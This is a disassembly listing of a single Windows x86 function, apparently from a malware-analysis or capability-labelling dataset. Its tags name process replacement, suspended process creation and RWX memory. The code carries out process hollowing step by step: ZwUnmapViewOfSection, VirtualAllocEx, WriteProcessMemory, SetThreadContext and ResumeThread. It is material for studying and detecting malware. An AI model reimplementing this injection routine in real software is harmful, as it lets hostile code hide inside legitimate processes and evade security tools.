Function at 0x401930
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get file size
Read file on windows
Resume thread
Use process replacement

Disassembly:
sub esp, 0x494
push ebx
push ebp
push esi
push edi
push str.ntdll.dll
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x40195c
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x494
ret
push str.ZwUnmapViewOfSection
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x24], eax
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x9c]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], eax
mov ecx, dword [esp + 0x4ac]
mov dword [esp + 0x14], eax
mov dword [esp + 0x9c], 0x44
mov dword [esp + 0x18], eax
push eax
push 0x20
push 3
push eax
push 3
push 0x80000000
push ecx
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 0x30], ebx
jne 0x4019ca
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x494
ret
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.0040b385
mov ecx, esi
mov ebp, eax
mov edx, ecx
xor eax, eax
mov edi, ebp
add esp, 4
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
push 0
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x38]
mov dword [esp + 0x38], 0
push eax
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, 0x10
mov esi, ebp
lea edi, [esp + 0x38]
lea edx, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x74]
lea eax, [esp + 0x9c]
push edx
push eax
lea esi, [ecx + ebp]
mov ecx, 0x3e
lea edi, [esp + 0xe8]
push 0
push 0
push 4
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x4bc]
push 0
push 0
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401d21
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x1d8]
push edx
push eax
mov dword [esp + 0x1e0], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
jne 0x401ae4
mov ecx, 0x18
lea edi, [esp + 0x39]
mov byte [esp + 0x38], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x3c]
push str.GetThreadContext_error._code:_d
push ecx
call fcn.00402dd4
lea edx, [esp + 0x44]
push edx
call fcn.004021a0
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x10
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x494
ret
mov eax, dword [esp + 0x27c]
mov ecx, dword [esp + 0x10]
push 0
lea edx, [esp + 0x30]
push 4
add eax, 8
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [esp + 0x2c]
test eax, eax
jne 0x401b61
mov ecx, 0x18
lea edi, [esp + 0x39]
mov byte [esp + 0x38], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea edx, [esp + 0x3c]
push str.ReadProcessMemory_error._code:_d
push edx
call fcn.00402dd4
lea eax, [esp + 0x44]
push eax
call fcn.004021a0
mov ecx, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x10
push ecx
call esi
mov edx, dword [esp + 0x10]
push edx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x494
ret
push eax
mov eax, dword [esp + 0x14]
push eax
call dword [esp + 0x2c]
test eax, eax
je 0x401bc8
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x39]
mov byte [esp + 0x38], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [esp + 0x3c]
push str.ZwUnmapViewOfSection_error._code:_d
push ecx
call fcn.00402dd4
lea edx, [esp + 0x44]
push edx
call fcn.004021a0
mov eax, dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x10
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x494
ret
mov edx, dword [esp + 0x130]
mov eax, dword [esp + 0x114]
mov ecx, dword [esp + 0x10]
push 0x40
push 0x3000
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
mov dword [esp + 0x20], eax
jne 0x401c19
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call esi
mov eax, dword [esp + 0x10]
push eax
call esi
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x494
ret
mov edx, dword [esp + 0x134]
lea ecx, [esp + 0x28]
push ecx
push edx
push ebp
push eax
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x401c3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [esp + 0xe6]
test ax, ax
jbe 0x401cc2
mov ecx, dword [esp + 0x74]
and eax, 0xffff
mov dword [esp + 0x24], eax
lea ebx, [ecx + ebp + 0xf8]
mov ecx, 0xa
mov esi, ebx
lea edi, [esp + 0x38]
lea edx, [esp + 0x28]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [esp + 0x4c]
mov eax, dword [esp + 0x48]
mov esi, dword [esp + 0x44]
push edx
mov edx, dword [esp + 0x24]
add ecx, ebp
push eax
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esi + edx]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x40]
lea edx, [esp + 0x2c]
add esi, ecx
push edx
mov edx, dword [esp + 0x14]
push 0x40
push eax
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov eax, dword [esp + 0x24]
add ebx, 0x28
dec eax
mov dword [esp + 0x24], eax
jne 0x401c5d
mov ebx, dword [esp + 0x30]
mov edx, dword [esp + 0x27c]
lea eax, [esp + 0x28]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x24]
push 4
add edx, 8
push ecx
push edx
push eax
mov dword [esp + 0x1ec], 0x10007
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x108]
add edx, ecx
mov ecx, dword [esp + 0x14]
lea eax, [esp + 0x1d8]
mov dword [esp + 0x288], edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [esp + 0x10]
push ecx
call esi
push ebx
call esi
push ebp
call fcn.0040b3ae
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x494
ret